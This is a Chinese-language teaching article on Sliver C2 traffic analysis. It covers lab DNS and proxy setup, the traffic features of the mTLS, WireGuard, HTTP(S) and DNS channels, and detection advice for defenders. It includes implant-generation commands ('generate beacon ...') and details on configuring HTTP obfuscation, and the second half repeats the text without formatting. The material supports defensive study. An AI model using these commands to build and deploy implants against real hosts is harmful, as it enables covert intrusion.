红队工具研究篇 - Sliver C2 通信流量分析
字数 2375 2025-08-06 12:20:54

Sliver C2 通信流量分析教学文档

一、Sliver C2 协议概述

Sliver C2 框架支持多种通信协议,本文将重点分析以下4种:

  1. mutual TLS (mTLS) - 官方推荐协议
  2. WireGuard - 官方推荐协议
  3. HTTP - 常见环境使用
  4. DNS - 严格限制环境使用

二、mTLS 通信研究

2.1 环境配置 - DNS 服务器搭建

BIND DNS 服务器配置步骤:

  1. 安装工具套件:
apt-get install bind9 bind9utils bind9doc
  1. 修改配置文件 /etc/bind/named.conf.options
acl "localnet" { 172.16.181.0/24; };

options {
    directory "/var/cache/bind";
    recursion yes;
    allow-recursion { localnet; };
    listen-on { 172.16.181.192; };
    allow-transfer { none; };
    forwarders { 8.8.8.8; 8.8.4.4; };
    dnssec-validation auto;
    listen-on-v6 { any; };
};

logging {
    channel query {
        file "/var/log/bind/query" versions 5 size 10M;
        print-time yes;
        severity info;
    };
    category queries { query; };
};
  1. 创建日志目录并设置权限:
mkdir /var/log/bind
chown bind /var/log/bind
  1. 配置区域文件 /etc/bind/named.conf.local
zone "labnet.local" {
    type master;
    file "/etc/bind/zones/db.labnet.local";
};

zone "181.16.172.in-addr.arpa" {
    type master;
    file "/etc/bind/zones/db.181.16.172";
};
  1. 创建正向区域文件 /etc/bind/zones/db.labnet.local
$TTL 604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
    4 ; Serial
    604800 ; Refresh
    86400 ; Retry
    2419200 ; Expire
    604800 ) ; Negative Cache TTL

; name servers - NS records
IN NS ns.labnet.local.

; name servers - A records
ns.labnet.local. IN A 172.16.181.192

; 172.16.181.0/24 - A records
target.labnet.local. IN A 172.16.181.177
sliver.labnet.local. IN A 172.16.181.182
  1. 创建反向区域文件 /etc/bind/zones/db.181.16.172
$TTL 604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
    4 ; Serial
    604800 ; Refresh
    86400 ; Retry
    2419200 ; Expire
    604800 ) ; Negative Cache TTL

; name servers
IN NS ns.labnet.local.

; PTR Records
192 IN PTR ns.labnet.local. ; 172.16.181.192
177 IN PTR target.labnet.local. ; 172.16.181.177
182 IN PTR sliver.labnet.local. ; 172.16.181.182
  1. 检查配置并重启服务:
named-checkconf
named-checkzone labnet.local /etc/bind/zones/db.labnet.local
named-checkzone 172.16.181.in-addr.arpa /etc/bind/zones/db.181.16.172
systemctl restart bind9

2.2 mTLS 通信分析

生成mTLS Implant:

generate beacon --os windows --seconds 5 --mtls sliver.labnet.local,172.16.181.182

流量特征分析:

  1. 初始DNS查询:Implant通过DNS解析Sliver服务器IP
  2. TLS握手过程:包含SNI(Server Name Indication)信息
  3. 通信特点:
    • TLS连接不保持长连接
    • 按beacon间隔断开重连
    • RST包之间有固定间隔

直接IP通信(无DNS服务时):

  1. 初始ICMP包(DNS不可达)
  2. 直接TCP三次握手连接IP
  3. TLS握手无SNI信息

三、WireGuard 通信分析

生成WireGuard Implant:

generate --os windows --wg sliver.labnet.local,172.16.181.182

流量特征:

  1. 初始DNS解析请求
  2. 通过UDP 53端口建立WireGuard连接
  3. 所有后续通信通过WireGuard加密隧道

四、HTTP(S) 通信分析

4.1 环境配置 - HTTP 代理

Squid代理服务器配置:

  1. 安装:
apt-get install squid
  1. 修改配置文件 /etc/squid/squid.conf
acl labnet src 172.16.181.0/24
http_access allow labnet
dns_nameservers 172.16.181.192
  1. 启动服务:
systemctl start squid

受害主机配置:

  1. 设置代理:172.16.181.192:3128
  2. 配置防火墙规则:
    • 允许TCP 3128出站
    • 允许UDP 53出站

4.2 HTTPS 通信分析

生成HTTPS Implant:

generate beacon --http sliver.labnet.local,sliver.labnet.local?driver=wininet --seconds 5 --jitter 0

流量特征:

  1. 初始400错误(内置http驱动程序无效)
  2. 成功建立HTTP连接(状态码200)
  3. 可见CONNECT字段
  4. 其余数据加密

4.3 HTTP 通信分析

流量特征:

  1. 请求和响应包中包含加密数据
  2. 使用随机编码方式(base64、hex、gzip等)
  3. 请求类型:
    • POST请求
    • GET请求(使用混淆路径如/oauth/db/samples.php)
  4. URL中包含随机查询参数(如?s=22f926a944)

4.4 C2 HTTP 通信配置

配置文件位置: /root/.sliver/configs/http-c2.json

主要配置项:

  1. implant_config - 控制Implant行为:

    • user_agent: 用户代理字符串
    • poll_file_ext: 轮询文件扩展名(如.js)
    • poll_files: 轮询文件名列表(如jquery.min, app)
    • poll_paths: 轮询路径列表(如js, script)
    • session_file_ext: 会话文件扩展名(如.php)
    • close_file_ext: 关闭会话文件扩展名(如.png)
  2. server_config - 服务器响应配置:

    • random_version_headers: 是否随机生成版本头
    • cookies: 自定义cookie列表

4.5 流量生成机制

  1. beacon.Init(): 使用start_session_file_ext值结尾的URI的POST请求
  2. beacon.Send(): 使用session_pathssession_filessession_file_ext指定的URI
  3. 轮询检查: 使用poll_pathspoll_filespoll_file_ext值指定
  4. 关闭连接: 使用close_pathsclose_filesclose_file_ext值指定

编码机制:

func RandomEncoder() (int, Encoder) {
    keys := make([]int, 0, len(EncoderMap))
    for k := range EncoderMap {
        keys = append(keys, k)
    }
    encoderID := keys[insecureRand.Intn(len(keys))]
    nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
    return nonce, EncoderMap[encoderID]
}

五、DNS C2 通信研究

5.1 环境配置 - DNS

添加NS记录:

  1. 修改/etc/bind/named.conf.local
zone "labnet.local" {
    type master;
    file "/etc/bind/zones/db.labnet.local";
    forwarders {};
};
  1. 修改区域文件/etc/bind/zones/db.labnet.local
; delegate subdomain
dnsc2.labnet.local. 360 IN NS sliver.labnet.local.
  1. 重启服务:
systemctl restart named.service

5.2 DNS 通信分析

生成DNS beacon:

generate beacon --dns dnsc2.labnet.local --seconds 10 --jitter 0

流量特征:

  1. 对dnsc2.labnet.local子域的A记录查询
  2. TXT记录查询(服务器响应)
  3. 数据编码方式:
    • Base32(默认,大小写不敏感)
    • Base58(更快,但大小写敏感)
    • 可强制使用Base32:?force-base32=True

通信限制:

  1. 域名长度限制:254字符(包括子域名和根域名)
  2. 每个子域名最大长度:63字符
  3. 理论传输速率:约30Kbps

六、总结

Sliver C2框架提供了多种通信协议选择,每种协议有其特点和适用场景:

  1. mTLS

    • 官方推荐协议
    • 基于TLS加密
    • 通过SNI暴露域名信息
    • beacon模式定期断开重连
  2. WireGuard

    • 官方推荐协议
    • 通过UDP 53端口通信
    • 建立加密隧道
  3. HTTP(S)

    • 适用于严格网络环境
    • 内置传输加密
    • 高度可配置的混淆机制
    • 支持多种编码方式
  4. DNS

    • 适用于只允许DNS流量的环境
    • 通过子域名和TXT记录传输数据
    • 受限于域名长度
    • 在隐蔽性和速度间权衡

防御建议:

  1. 监控异常DNS查询模式
  2. 检查TLS握手中的SNI信息
  3. 分析HTTP流量中的异常URL参数
  4. 检测UDP 53端口的非DNS流量
  5. 实施严格的出口流量控制
Sliver C2 通信流量分析教学文档 一、Sliver C2 协议概述 Sliver C2 框架支持多种通信协议,本文将重点分析以下4种: mutual TLS (mTLS) - 官方推荐协议 WireGuard - 官方推荐协议 HTTP - 常见环境使用 DNS - 严格限制环境使用 二、mTLS 通信研究 2.1 环境配置 - DNS 服务器搭建 BIND DNS 服务器配置步骤: 安装工具套件: 修改配置文件 /etc/bind/named.conf.options : 创建日志目录并设置权限: 配置区域文件 /etc/bind/named.conf.local : 创建正向区域文件 /etc/bind/zones/db.labnet.local : 创建反向区域文件 /etc/bind/zones/db.181.16.172 : 检查配置并重启服务: 2.2 mTLS 通信分析 生成mTLS Implant: 流量特征分析: 初始DNS查询:Implant通过DNS解析Sliver服务器IP TLS握手过程:包含SNI(Server Name Indication)信息 通信特点: TLS连接不保持长连接 按beacon间隔断开重连 RST包之间有固定间隔 直接IP通信(无DNS服务时): 初始ICMP包(DNS不可达) 直接TCP三次握手连接IP TLS握手无SNI信息 三、WireGuard 通信分析 生成WireGuard Implant: 流量特征: 初始DNS解析请求 通过UDP 53端口建立WireGuard连接 所有后续通信通过WireGuard加密隧道 四、HTTP(S) 通信分析 4.1 环境配置 - HTTP 代理 Squid代理服务器配置: 安装: 修改配置文件 /etc/squid/squid.conf : 启动服务: 受害主机配置: 设置代理:172.16.181.192:3128 配置防火墙规则: 允许TCP 3128出站 允许UDP 53出站 4.2 HTTPS 通信分析 生成HTTPS Implant: 流量特征: 初始400错误(内置http驱动程序无效) 成功建立HTTP连接(状态码200) 可见CONNECT字段 其余数据加密 4.3 HTTP 通信分析 流量特征: 请求和响应包中包含加密数据 使用随机编码方式(base64、hex、gzip等) 请求类型: POST请求 GET请求(使用混淆路径如/oauth/db/samples.php) URL中包含随机查询参数(如?s=22f926a944) 4.4 C2 HTTP 通信配置 配置文件位置: /root/.sliver/configs/http-c2.json 主要配置项: implant_config - 控制Implant行为: user_agent : 用户代理字符串 poll_file_ext : 轮询文件扩展名(如.js) poll_files : 轮询文件名列表(如jquery.min, app) poll_paths : 轮询路径列表(如js, script) session_file_ext : 会话文件扩展名(如.php) close_file_ext : 关闭会话文件扩展名(如.png) server_config - 服务器响应配置: random_version_headers : 是否随机生成版本头 cookies : 自定义cookie列表 4.5 流量生成机制 beacon.Init() : 使用 start_session_file_ext 值结尾的URI的POST请求 beacon.Send() : 使用 session_paths 、 session_files 和 session_file_ext 指定的URI 轮询检查: 使用 poll_paths 、 poll_files 和 poll_file_ext 值指定 关闭连接: 使用 close_paths 、 close_files 和 close_file_ext 值指定 编码机制: 五、DNS C2 通信研究 5.1 环境配置 - DNS 添加NS记录: 修改 /etc/bind/named.conf.local : 修改区域文件 /etc/bind/zones/db.labnet.local : 重启服务: 5.2 DNS 通信分析 生成DNS beacon: 流量特征: 对dnsc2.labnet.local子域的A记录查询 TXT记录查询(服务器响应) 数据编码方式: Base32(默认,大小写不敏感) Base58(更快,但大小写敏感) 可强制使用Base32: ?force-base32=True 通信限制: 域名长度限制:254字符(包括子域名和根域名) 每个子域名最大长度:63字符 理论传输速率:约30Kbps 六、总结 Sliver C2框架提供了多种通信协议选择,每种协议有其特点和适用场景: mTLS : 官方推荐协议 基于TLS加密 通过SNI暴露域名信息 beacon模式定期断开重连 WireGuard : 官方推荐协议 通过UDP 53端口通信 建立加密隧道 HTTP(S) : 适用于严格网络环境 内置传输加密 高度可配置的混淆机制 支持多种编码方式 DNS : 适用于只允许DNS流量的环境 通过子域名和TXT记录传输数据 受限于域名长度 在隐蔽性和速度间权衡 防御建议: 监控异常DNS查询模式 检查TLS握手中的SNI信息 分析HTTP流量中的异常URL参数 检测UDP 53端口的非DNS流量 实施严格的出口流量控制